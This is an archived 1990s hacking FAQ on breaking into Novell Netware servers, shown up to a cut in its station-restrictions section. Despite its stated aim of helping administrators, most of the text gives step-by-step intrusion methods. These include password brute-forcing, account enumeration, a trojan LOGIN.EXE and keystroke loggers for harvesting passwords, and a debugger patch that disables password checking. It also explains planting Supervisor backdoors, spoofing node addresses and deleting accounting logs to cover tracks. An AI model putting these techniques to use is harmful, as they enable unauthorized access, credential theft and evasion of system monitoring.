home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / network / nwhack.faq < prev    next >
Encoding:
Text File  |  2003-06-11  |  87.6 KB  |  1,974 lines

  1. finger thegnome@fastlane.net for public key
  2.  
  3. -----BEGIN PGP SIGNED MESSAGE-----
  4.  
  5. - From the Nomad Mobile Research Centre:
  6.  
  7.              Frequently Asked Questions
  8.               "Hacking Novell Netware"
  9.  
  10.                    Beta Version 2
  11.  
  12.               Compiled by Simple Nomad
  13.  
  14.  
  15. Contributions (and thanks to):  
  16.  
  17. The LAN God    mark_motley@candle.com
  18. Teiwaz         teiwaz@wolfe.net
  19. Fauzan Mirza   fauzanm@jumper.mcc.ac.uk
  20. Jeff Carr      jcarr@kpmg.com.au
  21.  
  22. Also thanks to BioHazard, Mickey, Al Payne, and hello to several friends - Mr. 
  23. Wizard, The Raven, Riker.
  24.  
  25. And many, many others who requested anonymity or didn't realize they were
  26. contributing ;-)
  27.  
  28. Tech Support (and special thanks to):
  29.  
  30. itsme - infamous Netware Netherlands hack fame
  31.  
  32. What everyone is saying about the last version of the FAQ (I'll skip the
  33. good stuff and get straight to the hate mail):
  34.  
  35. "You and scum like you should never even be allowed on the net. Hackers are
  36. the reason the net gets so much bad press."
  37.  
  38. "Can't you do anything constructive with your time?"
  39.  
  40. "You are no hacker. You don't even know the meaning of the word. You are
  41. nothing but a cracker, a common criminal. Change your name to Simple
  42. Scriptor. Or Simple Minded."
  43.  
  44. These people definitely need a hug, don't you agree? Now, on with the 
  45. show...
  46.  
  47. - ---------------------------------------------------------------------------
  48. - ---------------------------------------------------------------------------
  49.  
  50. Contents
  51.  
  52. U means update from last FAQ, N means new.
  53.  
  54.  
  55. - ---------------------------------------------------------------------------
  56.  
  57. Section 00
  58.  
  59. General Info
  60.  
  61.   00-1. What is this "FAQ" for?
  62.   00-2. What is the origin of this FAQ and how do I add to it?
  63. U 00-3. Is this FAQ available by anonymous FTP or WWW?
  64.  
  65. - ---------------------------------------------------------------------------
  66.  
  67. Section 01
  68.  
  69. Getting Access to Accounts
  70.  
  71.   01-1. How do I access the password file in Novell Netware?
  72.   01-2. How do I crack Novell Netware passwords?
  73.   01-3. What are common accounts and passwords in Novell Netware?
  74.   01-4. How can I figure out valid account names on Novell Netware?
  75.   01-5. What is the "secret" method to gain Supervisor access Novell used to 
  76.   teach in CNE classes?
  77.   01-6. What is the cheesy way to get Supervisor access?
  78.   01-7. How do I leave a backdoor?
  79.   01-8. What is Packet Signature and how do I get around it?
  80.   01-9. How do I use SETPWD.NLM? 
  81.   01-10. What's the "debug" way to disable passwords?
  82.  
  83. - ---------------------------------------------------------------------------
  84.  
  85. Section 02
  86.  
  87. Other Security Items
  88.  
  89.   02-1. What is Accounting?
  90.   02-2. How do I defeat Accounting?
  91.   02-3. What is Intruder Detection?
  92.   02-4. What are station/time restrictions?
  93.   02-5. How do I spoof my node or IP address?
  94.   02-6. How do I defeat console logging?
  95. U 02-7. How does password encryption work?
  96. N 02-8. Can I set the RCONSOLE password to work for just Supervisor?
  97. N 02-9. Can access to .NCF files help me?
  98.  
  99. - ---------------------------------------------------------------------------
  100.  
  101. Section 03
  102.  
  103. File and Directory Access
  104.  
  105.   03-1. How can I see hidden files and directories?
  106. U 03-2. How do I defeat the execute-only flag?
  107.   03-3. How can I hide my presence after altering files?
  108.   03-4. What is a Netware-aware trojan?
  109.   03-5. What are Trustee Directory Assignments?
  110.   03-6. Are there any default Trustee Assignments that can be exploited?
  111. N 03-7. What are some general ways to exploit Trustee Rights?
  112.  
  113. - ---------------------------------------------------------------------------
  114.  
  115. Section 04
  116.  
  117. Miscellaneous Info on Netware
  118.  
  119.   04-1. Why can't I get through the 3.x server to another network via TCP/IP?
  120.   04-2. How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF?
  121.   04-3. How can I login without running the System Login Script?
  122.   04-4. How do I remotely reboot a Netware 3.x file server?
  123.   04-5. How can I abend a Netware server? And why?
  124.   04-6. What is interesting about Netware 4.x's licensing?
  125. N 04-7. What is Netware NFS and is it secure?
  126. U 04-8. Can sniffing packets help me break in?
  127. N 04-9. What else can sniffing get me?
  128. N 04-10. How can I check for weak passwords?
  129.  
  130. - ---------------------------------------------------------------------------
  131.  
  132. Section 05
  133.  
  134. Resources
  135.  
  136. U 05-1. What are some Netware FTP locations?
  137.   05-2. Can I get files without FTP?
  138. U 05-3. What are some Netware WWW locations?
  139. U 05-4. What are some Netware USENET groups?
  140.   05-5. What are some Netware mailing lists?
  141. N 05-6. Where are some other Netware FAQs?
  142. U 05-7. Where can I get the files mentioned in this FAQ?
  143.   05-8. What are some good books for Netware?
  144.  
  145. - ---------------------------------------------------------------------------
  146.  
  147. Section 06
  148.  
  149. Netware APIs
  150.  
  151.   06-1. Where can I get the Netware APIs?
  152. N 06-2. Are there alternatives to Netware's APIs?
  153.  
  154. - ---------------------------------------------------------------------------
  155.  
  156. Section 07
  157.  
  158. For Administrators Only
  159.  
  160. N 07-1. How do I secure my server?
  161.   07-2. I'm an idiot. Exactly how do hackers get in?
  162.  
  163. - ---------------------------------------------------------------------------
  164. - ---------------------------------------------------------------------------
  165.  
  166. Section 00
  167.  
  168. General Info
  169.  
  170. - ---------------------------------------------------------------------------
  171.  
  172. 00-1. What is this "FAQ" for?
  173.  
  174. This FAQ contains information about hacking Novell Netware. It is intented to
  175. show what and how regarding hacking on Netware, and by illustrating this in
  176. explicit detail show how sys admins can improve security and prevent break-ins. 
  177. Most of the information in this FAQ was compiled and collected from various 
  178. sources freely available on the Internet. In fact, most of the information here 
  179. is OLD info for serious Netware hackers. Some of the info was collected from 
  180. these serious Netware hackers, and still more was collected from "tiger team" 
  181. security sweeps that I have been involved in.
  182.  
  183. You will also find hints and generally good ideas for improving and/or expanding 
  184. an existing system. This FAQ is a good reference for sys admins as well as
  185. hackers. 
  186.  
  187. - ---------------------------------------------------------------------------
  188.  
  189. 00-2. What is the origin of this FAQ and how do I add to it?
  190.  
  191. Send comments about info in this FAQ to thegnome@fastlane.net. Simple flames
  192. about typos, the "that's not right" one liners will be ignored. If you wish to
  193. contribute corrections please include your research and source of facts. Also
  194. if you wish to add your information, I will include it if I can include your
  195. email address, unless I can verify the info independently. This way if someone
  196. has questions, they can bug you, not me.
  197.  
  198. - ---------------------------------------------------------------------------
  199.  
  200. 00-3. Is this FAQ available by anonymous FTP or WWW?
  201.  
  202. Look for it in the following locations:
  203.  
  204. jumper.mcc.ac.uk    /pub/security/netware     faq.zip
  205. ftp.fastlane.net    /pub/nomad/nw             faq.zip
  206. ftp.best.com        /pub/almcepud/hacks       faq.zip
  207. http://resudox.net/bio/mainpage.html in the Netware section.
  208.  
  209. Entire FAQ Online, and the reason Al has fits with his ISP ;-):
  210.  
  211. http://www.hookup.net/~apayne/nwhack.html
  212.  
  213. - ---------------------------------------------------------------------------
  214. - ---------------------------------------------------------------------------
  215.  
  216. Section 01
  217.  
  218. Getting Access to Accounts
  219.  
  220. - ---------------------------------------------------------------------------
  221.  
  222. 01-1. How do I access the password file in Novell Netware?
  223.  
  224. Contrary to not-so-popular belief, access to the password file in Netware is
  225. not like Unix - the password file isn't in the open. All objects and their
  226. properties are kept in the bindery files on 2.x and 3.x, and kept in the NDS
  227. database in 4.x. An example of an object might be a printer, a group, an
  228. individual's account etc. An example of an object's properties might include
  229. an account's password or full user name, or a group's member list or full
  230. name. The bindery files attributes (or flags) in 2.x and 3.x are Hidden
  231. and System, and these files are located on the SYS: volume in the SYSTEM
  232. subdirectory. Their names are as follows:
  233.  
  234.     Netware version         File Names
  235.     ---------------         ----------
  236.     2.x                     NET$BIND.SYS, NET$BVAL.SYS
  237.     3.x                     NET$OBJ.SYS, NET$PROP.SYS, NET$VAL.SYS
  238.  
  239. The NET$BVAL.SYS and NET$VAL.SYS are where the passwords are actually located
  240. in 2.x and 3.x respectively.
  241.  
  242. In Netware 4.x, the files are physically located in a different location than
  243. on the SYS: volume. However, by using the RCONSOLE utility and using the
  244. Scan Directory option, you can see the files in SYS:_NETWARE:
  245.  
  246.     File                    What it is
  247.     --------------          --------------------------
  248.     VALUE.NDS               Part of NDS
  249.     BLOCK.NDS               Part of NDS
  250.     ENTRY.NDS               Part of NDS
  251.     PARTITIO.NDS            Type of NDS partition (replica, master, etc.)
  252.     MLS.000                 License
  253.     VALLINCEN.DAT           License validation
  254.  
  255. Here is another way to view these files, and potentially edit them. After 
  256. installing NW4 on a NW3 volume, reboot the server with a 3.x SERVER.EXE. On 
  257. volume SYS will be the _NETWARE directory. SYS:_NETWARE is hidden better on 
  258. 4.1 than 4.0x, but in 4.1 you can still see the files by scanning directory 
  259. entry numbers using NCP calls (you need the APIs for this) using function 
  260. 0x17 subfunction 0xF3.
  261.  
  262. - ---------------------------------------------------------------------------
  263.  
  264. 01-2. How do I crack Novell Netware passwords?
  265.  
  266. There are a few ways to approach this. First, we'll assume Intruder Detection
  267. is turned off. We'll also assume unencrypted passwords are allowed. Hopefully
  268. you won't have to deal with packet signature (see 01-9 below) Then we'll assume 
  269. you have access to the console. Finally we'll assume you can plant some kind of
  270. password catcher. Access to a sniffer might help. These are a lot of ifs.
  271.  
  272. If Intruder Detection is off, you can just guess the password until you get
  273. it. This can be automated by writing a program that continually guesses
  274. passwords, or by using a program that does just that. One program that I am 
  275. aware of is NOVELBFH.EXE (for version 3.x only). This program will try passwords
  276. like aa, ab, ac and so on until every legal character combination has been tried.
  277. You will eventually get the password. However this assumes you have 1) a lot of
  278. time since it takes a second or two for each try (more on a dial-up link), and
  279. 2) access to a machine that will run one of these programs for hours, even days.
  280. And if Intruder Detection is on you will be beeping the System Console every
  281. couple of seconds and time-stamping your node address to the File Server Error
  282. Log.
  283.  
  284. Encrypted passwords is Novell's way of protecting passwords from sniffers.
  285. Since older versions of Netware (2.15c) sent passwords as plain text over the
  286. wire, a sniffer could see the password as it went by. To secure things,
  287. Novell gave the administrator a way to control this. Later versions of the
  288. LOGIN.EXE program would encrypt the password before transmitting it across
  289. the wire to the server. But before this could happen, the shell (NETX) had
  290. to be updated. Since some locations had to have older shells and older
  291. versions of LOGIN.EXE to support older equipment, the administrator has the
  292. option of allowing unencrypted passwords to access the server. This is done
  293. by typing SET ALLOW UNENCRYPTED PASSWORDS=ON at the console or by adding it
  294. to the AUTOEXEC.NCF. The default is OFF, which means NOVELBFH could be beeping
  295. the server console every attempt! Fortunately most sites turn this switch on to
  296. support some old device.
  297.  
  298. If you have access to the console, either by standing in front of it or by
  299. RCONSOLE, you can use SETSPASS.NLM, SETSPWD.NLM or SETPWD.NLM to reset passwords.
  300. Just load the NLM and pass it command line parameters:
  301.  
  302.     NLM             Account(s) reset        Netware version(s) supported
  303.     ------------    -----------------       ----------------------------
  304.     SETSPASS.NLM    SUPERVISOR              3.x
  305.     SETSPWD.NLM     SUPERVISOR              3.x, 4.x
  306.     SETPWD.NLM      any valid account       3.x, 4.x
  307.  
  308. See 01-9 for more SETPWD.NLM info.
  309.  
  310. If you can plant a password catcher or keystroke reader, you can get them
  311. this way. The LOGIN.EXE file is located in the SYS:LOGIN directory, and
  312. normally you will not have access to put a file in that directory. The best
  313. place to put a keystroke capture program is in the workstation's path, with
  314. the ATTRIB set as hidden. The advantage is that you'll get the password and
  315. Netware won't know you swiped it. The disadvantage is getting access to the
  316. machine to do this. The very best place to put one of these capture programs
  317. is on a common machine, like a pcAnywhere box, which is used for remote access.
  318. Many locations will allow pcAnywhere access to a machine with virtually no 
  319. software on it, and control security access to the LAN by using Netware's 
  320. security features. Uploading a keystroke capture program to a machine like 
  321. this defeats this.
  322.  
  323. If the system is being backed up via a workstation, this can be used as a
  324. good entry point.  These workstations have to have supe equiv to back up the 
  325. bindery and other system files.  If you can access this workstation or use 
  326. the backup systems user account name then you can get supe level login.
  327.  
  328. itsme, the notorious Netherlands Netware hacker, developed KNOCK.EXE by
  329. rewriting one byte of ATTACH.EXE to try without a password to get into a
  330. server. KNOCK.EXE utilitzes a bug that allows a non-password attach to get
  331. in. This works on versions of Netware earlier than 2.2, and 3.11. Later 
  332. versions have the bug fixed. Given enough time you will get in.
  333.  
  334. Another alternative is the replacement LOGIN.EXE by itsme. This jewel, 
  335. coupled with PROP.EXE, will create a separate property in the bindery on a
  336. 2.x or 3.x server that contains the passwords. Here is the steps to use 
  337. these powerful tools:
  338.  
  339.  - Gain access to a workstation logged in as Supervisor or equivalent (or
  340. use another technique described elsewhere for getting this type of access)
  341.  
  342.  - Run the PROP.EXE file with a -C option. This creates the new property for
  343. each bindery object. Remember, you must be a Supe for this step.
  344.  
  345.  - Replace the LOGIN.EXE in the SYS:LOGIN directory with itsme's. Be sure
  346. to flag it SRO once replaced.
  347.  
  348.  - Now it is set. Keep PROP.EXE on a floppy, and check the server with any
  349. valid login, Supervisor or not, after a week or two.
  350.  
  351.  - To check the passwords captured, type PROP -R after your logged in. You
  352. can redirect it to a file or printer. A list of accounts and passwords,
  353. valid and working, are yours.
  354.  
  355.  - Don't forget to hide your presence! See section 03-3 for details.
  356.  
  357. - ---------------------------------------------------------------------------
  358.  
  359. 01-3. What are common accounts and passwords in Novell Netware?
  360.  
  361. Out of the box Novell Netware has the following default accounts -
  362. SUPERVISOR, GUEST, and Netware 4.x has ADMIN and USER_TEMPLATE as well. All
  363. of these have no password to start with. Virtually every installer quickly
  364. gives SUPERVISOR and ADMIN a password. However, many locations will create 
  365. special purpose accounts that have easy-to-guess names, some with no
  366. passwords. Here are a few and their typical purposes:
  367.  
  368.     Account         Purpose
  369.     ----------      ------------------------------------------------------
  370.     PRINT           Attaching to a second server for printing
  371.     LASER           Attaching to a second server for printing
  372.     HPLASER         Attaching to a second server for printing
  373.     PRINTER         Attaching to a second server for printing
  374.     LASERWRITER     Attaching to a second server for printing
  375.     POST            Attaching to a second server for email
  376.     MAIL            Attaching to a second server for email
  377.     GATEWAY         Attaching a gateway machine to the server
  378.     GATE            Attaching a gateway machine to the server
  379.     ROUTER          Attaching an email router to the server
  380.     BACKUP          May have password/station restrictions (see below), used
  381.             for backing up the server to a tape unit attached to a
  382.             workstation. For complete backups, Supervisor equivalence
  383.             is required.
  384.     WANGTEK         See BACKUP
  385.     FAX             Attaching a dedicated fax modem unit to the network
  386.     FAXUSER         Attaching a dedicated fax modem unit to the network
  387.     FAXWORKS        Attaching a dedicated fax modem unit to the network
  388.     TEST            A test user account for temp use
  389.  
  390. This should give you an idea of accounts to try if you have access to a
  391. machine that attaches to the server. A way to "hide" yourself is to give
  392. GUEST or USER_TEMPLATE a password. Occassionally admins will check up on
  393. GUEST, but most forget about USER_TEMPLATE. In fact, _I_ forgot about
  394. USER_TEMPLATE until itsme reminded me.
  395.  
  396. - ---------------------------------------------------------------------------
  397.  
  398. 01-4. How can I figure out valid account names on Novell Netware?
  399.  
  400. Any limited account should have enough access to allow you to run SYSCON,
  401. located in the SYS:PUBLIC directory. If you get in, type SYSCON and enter.
  402. Now go to User Information and you will see a list of all defined accounts.
  403. You will not get much info with a limited account, but you can get the
  404. account and the user's full name.
  405.  
  406. If your in with any valid account, you can run USERLST.EXE and get a list
  407. of all valid account names on the server.
  408.  
  409. If you don't have access (maybe the sys admin deleted the GUEST account,
  410. a fairly common practice), you can't just try any account name at the LOGIN
  411. prompt. It will ask you for a password whether the account name is valid or
  412. not, and if it is valid and you guees the wrong password, you could be
  413. letting the world know what you're up to if Intruder Detection is on. But
  414. there is a way to determine if an account is valid.
  415.  
  416. - From a DOS prompt use a local copy (on your handy floppy you carry
  417. everywhere) of MAP.EXE. After you've loaded the Netware TSRs up through
  418. NETX or VLM, Try to map a drive using the server name and volume SYS:.
  419. For example:
  420.  
  421.     MAP G:=TARGET_SERVER/SYS:APPS <enter>
  422.  
  423. Since you are not logged in, you will be prompted for a login ID. If it
  424. is a valid ID, you will be prompted for a password. If not, you will
  425. immediately receive an error. Of course, if there is no password for the
  426. ID you use you will be attached and mapped to the server. You can do the
  427. same thing with ATTACH.EXE:
  428.  
  429.     ATTACH TARGET_SERVER/loginidtotry <enter>
  430.  
  431. The same thing will happen as the MAP command. If valid, you will be
  432. prompted for a password. If not, you get an error.
  433.  
  434. Another program to check for valid users and the presence of a password is
  435. CHKNULL.EXE by itsme. This program checks for users and whether they have
  436. a password assigned.
  437.  
  438. - ---------------------------------------------------------------------------
  439.  
  440. 01-5. What is the "secret" method to gain Supervisor access Novell used to teach 
  441. in CNE classes?
  442.  
  443. Before I start this section, let me recommend another solution, my God, ANY
  444. other solution is better than this! If you are running 3.x, jump to the end of 
  445. this section.
  446.  
  447. The secret method is the method of using a DOS-based sector editor to edit the 
  448. entry in the FAT, and reset the bindery to default upon server reboot. This gives 
  449. you Supervisor and Guest with no passwords. The method was taught in case you 
  450. lost Supervisor on a Netware 2.15 server and you had no supe equivalent accounts 
  451. created. It also saves the server from a wipe and reboot in case the Supervisor account is corrupt, deleted, or trashed.
  452.  
  453. While you get a variety of answers from Novell about this technique, from it 
  454. doesn't work to it is technically impossible, truth be it it can be  done. Here 
  455. are the steps, as quoted from comp.os.netware.security, with my comments in 
  456. [brackets]:
  457.  
  458. [start of quote]
  459. A Netware Server is supposed to be a very safe place to keep your files. Only
  460. people with the right password will have access to the data stored there. The
  461. Supervisor (or Admin) user's password is usually the most well kept secret in
  462. the company, since anyone that has that code could simply log to the server and 
  463. do anything he/she wants.
  464.  
  465. But what happens if this password is lost and there's no user that is 
  466. security-equivalent to the supervisor? [Use SETPWD.NLM, instead of this process,
  467. see 01-10 below - S.N.] What happens if the password system is somehow damaged
  468. and no one can log to the network? According to the manual, there's simply no 
  469. way out. You would have to reinstall the server and try to find your most recent 
  470. backup. 
  471.  
  472. Fortunately, there is a very interesting way to gain complete access to a Netware
  473. server without knowing the Supervisor's (or Admin's) password. You may imagine
  474. that you would have to learn complex decryption techniques or even type in a long
  475. C program, but that's not the case. The trick is so simple and generic that it
  476. will work the same way for Netware 2.x, 3.x and 4.x. 
  477.  
  478. The idea is to fool Netware to think that you have just installed the server and
  479. that no security system has been estabilished yet. Just after a Netware 2.x or
  480. 3.x server is installed, the Supervisor's password is null and you can log in
  481. with no restriction. Netware 4.x works slightly differently, but it also allows
  482. anyone to log in after the initial installation, since the installer is asked to
  483. enter a password for the Admin user.
  484.  
  485. But how can you make the server think it has just been installed  without
  486. actually reinstalling the server and losing all data on the disk? Simple. You
  487. just delete the files that contain the security system. In Netware 2.x, all
  488. security information is stored in two files (NET$BIND.SYS and NET$BVAL.SYS).
  489. Netware 3.x stores that information in three files (NET$OBJ.SYS, NET$VAL.SYS and
  490. NET$PROP.SYS). The all new Netware 4.x system stores all login names and 
  491. passwords in five different files (PARTITIO.NDS, BLOCK.NDS, ENTRY.NDS, VALUE.NDS
  492. and UNINSTAL.NDS [This last file may not be there, don't worry - S.N.]).
  493.  
  494. One last question remains. How can we delete these files if we don't have access
  495. to the network, anyway? The answer is, again, simple. Altough the people from
  496. Novell did a very good job encrypting passwords, they let all directory
  497. information easy to find and change if you can access the server's disk directly,
  498. using common utilities like Norton's Disk Edit. Using this utility as an example,
  499. I'll give a step-by-step procedure to make these files vanish. All you need is a
  500. bootable DOS disk,  Norton Utilities' Emergency Disk containing the DiskEdit
  501. program and some time near the server.
  502.  
  503. 1. Boot the server and go to the DOS prompt. To do this, just let the network
  504. boot normally and then use the DOWN and EXIT commands. This procedure does not
  505. work on old Netware 2.x servers and in some installations where DOS has been 
  506. removed from memory. In those cases, you'll have to use a DOS bootable disk.
  507.  
  508. 2. Run Norton's DiskEdit utility from drive A:
  509.  
  510. 3. Select "Tools" in the main menu and then select "Configuration". At the
  511. configuration window, uncheck the "Read-Only" checkbox. And be very careful with
  512. everything you type after this point.
  513.  
  514. 4. Select "Object" and then "Drive". At the window, select the C: drive and make
  515. sure you check the button "physical drive". After that, you'll be looking at your
  516. physical disk and you be able to see (and change) everything on it.
  517.  
  518. 5. Select "Tools" and then "Find". Here, you'll enter the name of the file you 
  519. are trying to find. Use "NET$BIND" for Netware 2,  "NET$PROP.SYS"  for  Netware 3 and "PARTITIO.NDS" for Netware 4. It is possible that you find these strings in a
  520. place that is not the Netware directory. If the file names are not all near each
  521. other and proportionaly separated by some unreadable codes (at least 32 bytes
  522. between them), then you it's not the place we are looking for. In that case, 
  523. you'll have to keep searching by selecting "Tools" and then "Find again". [In
  524. Netware 3.x, you can change all occurences of the bindery files and it should
  525. still work okay, I've done it before. - S.N.]
  526.  
  527. 6. You found the directory and you are ready to change it. Instead of deleting 
  528. the files, you'll be renaming them. This will avoid problems with the directory
  529. structure (like lost FAT chains). Just type "OLD" over the existing "SYS" or
  530. "NDS" extension. Be extremely careful and don't change anything else.
  531.  
  532. 7. Select "Tools" and then "Find again". Since Netware store the directory
  533. information in two different places, you have to find the other copy and change 
  534. it the same way. This will again prevent directory structure problems.
  535.  
  536. 8. Exit Norton Disk Edit and boot the server again. If you're running Netware 2 
  537. or 3, your server would be already accessible. Just go to any station and log in 
  538. as user Supervisor. No password will be asked. If you're running Netware 4, there
  539. is one last step.
  540.  
  541. 9. Load Netware 4 install utility (just type LOAD INSTALL at the console prompt) 
  542. and select the options to install the Directory Services. You be prompted for the
  543. Admin password while doing this. After that, you may go to any station and log in
  544. as user Admin, using the password that you have selected.
  545.  
  546. What I did with Norton's Disk Edit could be done with any disk editing utility 
  547. with a "Search" feature. This trick has helped me save many network supervisors 
  548. in the last years. I would just like to remind you that no one should break into
  549. a netware server unless authorized to do it by the company that owns the server. 
  550. But you problably know that already.
  551. [end of quote]
  552.  
  553. I actually had this typed up but kept changing it, so I stole this quote from
  554. the newsgroup to save me retyping ;-)
  555.  
  556. Now the quicky for 3.x users. Use LASTHOPE.NLM, which renames the bindery and
  557. downs the server. Reboot and you have Supe and Guest, no password.
  558.  
  559. - ---------------------------------------------------------------------------
  560.  
  561. 01-6. What is the cheesy way to get Supervisor access?
  562.  
  563. The cheesy way is the way that will get you in, but it will be obvious to the 
  564. server's admin that the server has been compromised. This technique works for 
  565. 3.11.
  566.  
  567. Using NW-HACK.EXE, if the Supervisor is logged in NW-HACK does the following 
  568. things. 1) The Supervisor password is changed to SUPER_HACKER, 2) every account 
  569. on the server is made a supe equivalent, and 3) the sys admin is going to know 
  570. very quickly something is wrong. What the admin will do is remove the supe rights 
  571. from all accounts that are not supposed to have it and change the Supervisor 
  572. password back. The only thing you can do is leave a backdoor for yourself (see 
  573. next question).
  574.  
  575. - ---------------------------------------------------------------------------
  576.  
  577. 01-7. How do I leave a backdoor?
  578.  
  579. Once you are in, you want to leave a way back with supe equivalency. You can use 
  580. SUPER.EXE, written for the express purpose of allowing the non-supe user to 
  581. toggle on and off supe equivalency. If you use the cheesy way in (previous 
  582. question), you turn on the toggle before the admin removes your supe 
  583. equivalency. If you gain access to a supe equivalent account, give Guest supe 
  584. equivalency and then login as Guest and toggle it on. Now get back in as the 
  585. original supe account and remove the supe equivalency. Now Guest can toggle on 
  586. supe equivalency whenever it's convenient.
  587.  
  588. Of course Guest doesn't have to be used, it could be another account, like an
  589. account used for e-mail administration or an e-mail router, a gateway's account, 
  590. you get the idea.
  591.  
  592. Now SUPER.EXE is not completely clean. Running the Security utility or Bindfix 
  593. will give away that an account has been altered at the bindery level, but the 
  594. only way for an admin to clear the error is to delete and rebuild the account.
  595.  
  596. Another backdoor is outlined in section 01-2 regarding the replacement LOGIN.EXE 
  597. and PROP.EXE
  598.  
  599. - ---------------------------------------------------------------------------
  600.  
  601. 01-8. What is Packet Signature and how do I get around it?
  602.  
  603. Packet signatures works by using an intermediate step during the encrypted
  604. password login call, to calculate a 64-bit signature.  This block is never
  605. transmitted over the wire, but it is used as the basis for a
  606. cryptographically strong signature ("secure hash") on the most important
  607. part of each NCP packet exchange.
  608.  
  609. A signed packet can indeed be taken as proof sufficient that the packet came
  610. from the claimed PC.
  611.  
  612. NCP Packet Signature is Novell's answer to the work of the folks in the
  613. Netherlands in hacking Netware. The idea behind it is to prevent forged
  614. packets and unauthorized Supervisor access. It is an add-on option in 3.11,
  615. but a part of the system with 3.12 and 4.x. Here are the signature levels
  616. at the client and server:
  617.  
  618. Packet Signature Option and meaning:
  619. 0 = Don't do packet signatures
  620. 1 = Do packet signatures if required
  621. 2 = Do packet signatures if you can but don't if the other end doesn't support
  622. them
  623. 3 = Require packet signatures
  624.  
  625. You can set the same settings at the workstation server. The default for packet
  626. signatures is 2 at the server and client. If you wish to use a tool like
  627. HACK.EXE, try setting the signature level at 0 on the client by adding
  628. Signature Level=0 in the client's NET.CFG. If packet signatures are required
  629. at the server you won't even get logged in, but if you get logged in, hack away.
  630.  
  631. If you wish to change the signature level at the server, use a set command at
  632. the server console:
  633.  
  634. SET NCP PACKET SIGNATURE OPTION=2
  635.  
  636. - ---------------------------------------------------------------------------
  637.  
  638. 01-9. How do I use SETPWD.NLM?
  639.  
  640. You can load SETPWD at the console or via RCONSOLE. If you use RCONSOLE, use
  641. the Transfer Files To Server option and put the file in SYS:SYSTEM.
  642.  
  643. For 3.x:
  644. LOAD [path if not in SYS:SYSTEM]SETPWD [username] [newpassword]
  645.  
  646. For 4.x:
  647. set bindery context = [context, e.g. hack.corp.us]
  648. LOAD [path if not in SYS:SYSTEM]SETPWD [username] [newpassword]
  649.  
  650. In 4.x the change is replicated so you have access to all the other servers
  651. in the tree. And don't forget, you must follow the password requirements in
  652. SYSCON for this to work. That is, if the account you are changing normally
  653. requires a 6 character password, then you'll need to supply a 6 character
  654. password.
  655.  
  656. - ---------------------------------------------------------------------------
  657.  
  658. 01-10. What's the "debug" way to disable passwords?
  659.  
  660. You must be at the console to do this:
  661.  
  662. <left-shift><right-shift><alt><esc>     Enters debugger
  663. type "c VerifyPassword=B8 0 0 0 0 C3"
  664. type "g"
  665.  
  666. This disables the password checking. Now Supe won't ask for a password. To
  667. restore password checking from debugger, do this:
  668.  
  669. first type "d VerifyPassword 5" and write down the 5 byte response,
  670. then type  "c VerifyPassword=xx xx xx xx xx"
  671. then type  "g"
  672.  
  673. - ---------------------------------------------------------------------------
  674. - ---------------------------------------------------------------------------
  675.  
  676. Section 02
  677.  
  678. Other Security Items
  679.  
  680. - ---------------------------------------------------------------------------
  681.  
  682. 02-1. What is Accounting?
  683.  
  684. Accounting is Novell's pain in the butt way to control and manage access to
  685. the server in a way that is "accountable". The admin set up charge rates for
  686. blocks read and written, service requests, connect time, and disk storage.
  687. The account "pays" for the service by being given some number, and the
  688. accounting server deduces for these items. How the account actually pays
  689. for these items (departmental billing, cash, whatever) you may or may not
  690. want to know about, but the fact that it could be installed could leave a
  691. footprint that you've been there.
  692.  
  693. Any valid account, including non-supe accounts, can check to see if 
  694. Accounting is turned on. Simply run SYSCON and try to access Accounting,
  695. if you get a message that Accounting is not installed, then guess what?
  696.  
  697. Since it is a pain to administer, many sys admins will turn it on simply
  698. to time-stamp each login and logout, track intruders, and include the
  699. node address and account name of each of these items.
  700.  
  701. - ---------------------------------------------------------------------------
  702.  
  703. 02-2. How do I defeat Accounting?
  704.  
  705. Turn it off. And spoof your node address. Here's the steps -
  706.  
  707.  - Spoof your address (see below). Use a supe account's typical node
  708. address as your own.
  709.  
  710.  - If you are using a backdoor, activate it with SUPER.EXE.
  711.  
  712.  - Delete Accounting by running SYSCON, selecting Accounting, Accounting
  713. Servers, hitting the delete key, and answering yes when asked if you
  714. wish to delete accounting. The last entry in the NET$ACCT.DAT file will
  715. be your login time-stamped with the spoofed node address.
  716.  
  717.  - Now do what you will in the system. Use a different account if you
  718. like, it won't show up in the log file.
  719.  
  720.  - When done, login with the original account, run SYSCON and
  721. re-install Accounting. Immediately logout, and the next line in the
  722. NET$ACCT.DAT file will be your logout, showing a login and logout
  723. with the same account name, nice and neat.
  724.  
  725. If you can't spoof the address (some LAN cards don't allow it or require
  726. extra drivers you may not have), just turn off Accounting and leave it
  727. off or delete the NET$ACCT.DAT file located in the SYS:SYSTEM
  728. directory.
  729.  
  730. It should be noted that to turn off and on Accounting you need supe
  731. equivalent, but you don't need supe equivalence to spoof the address.
  732.  
  733. - ---------------------------------------------------------------------------
  734.  
  735. 02-3. What is Intruder Detection?
  736.  
  737. Intruder Detection is Novell's way of tracking invalid password attempts. While 
  738. this feature is turned off by default, most sites practicing any type of security 
  739. will at minimum turn this feature on. There are several parameters to Intruder 
  740. Detection. First, there is a setting for how long the server will remember a bad 
  741. password attempt. Typically this is set to 30 minutes, but can be as short as 10 
  742. minutes of as long as 7 days. Then there is a setting for how many attempts will 
  743. lockout the account. This is usually 3 attempts, but can be as short as 1 or as 
  744. many as 7. Finally is the length the account is locked out. The default is 30 
  745. minutes but it can range from 10 minutes to 7 days.
  746.  
  747. When an Intruder Detection occurs, the server beeps and a time-stamped message is 
  748. displayed on the System Console with the account name that is now locked out and 
  749. the node address from where to attempt came from. This is also written to the 
  750. File Server Error Log. A Supervisor or equivalent can unlock the account before 
  751. it frees itself up, and the File Server Error Log can also be erased by a 
  752. Supervisor or equivalent.
  753.  
  754. In a large shop, it is not unusual to see Intruder Lockouts even on a daily 
  755. basis, and forgetting a password is a typical regular-user thing to do. Intruder 
  756. Lockouts on Supervisor or equivalent account is usually noticed. 
  757.  
  758. - ---------------------------------------------------------------------------
  759.  
  760. 02-4. What are station/time restrictions?
  761.  
  762. Time restrictions can be placed on an account to limit the times in which
  763. an account can be logged in. In the account is already logged in and the
  764. time changes to a restricted time, the account is logged out. The 
  765. restriction can be per weekday down to the half hour. That means that if
  766. an admin wants to restrict an account from logging in except on Monday
  767. through Friday from 8-5, it can be done. Only Supervisor and equivalents
  768. can alter time restrictions. Altering the time at the workstation will
  769. not get you around time restrictions, only altering time at the server
  770. can change the ability to access.
  771.  
  772. Station restriction place a restriction on _where_ an account can be used.
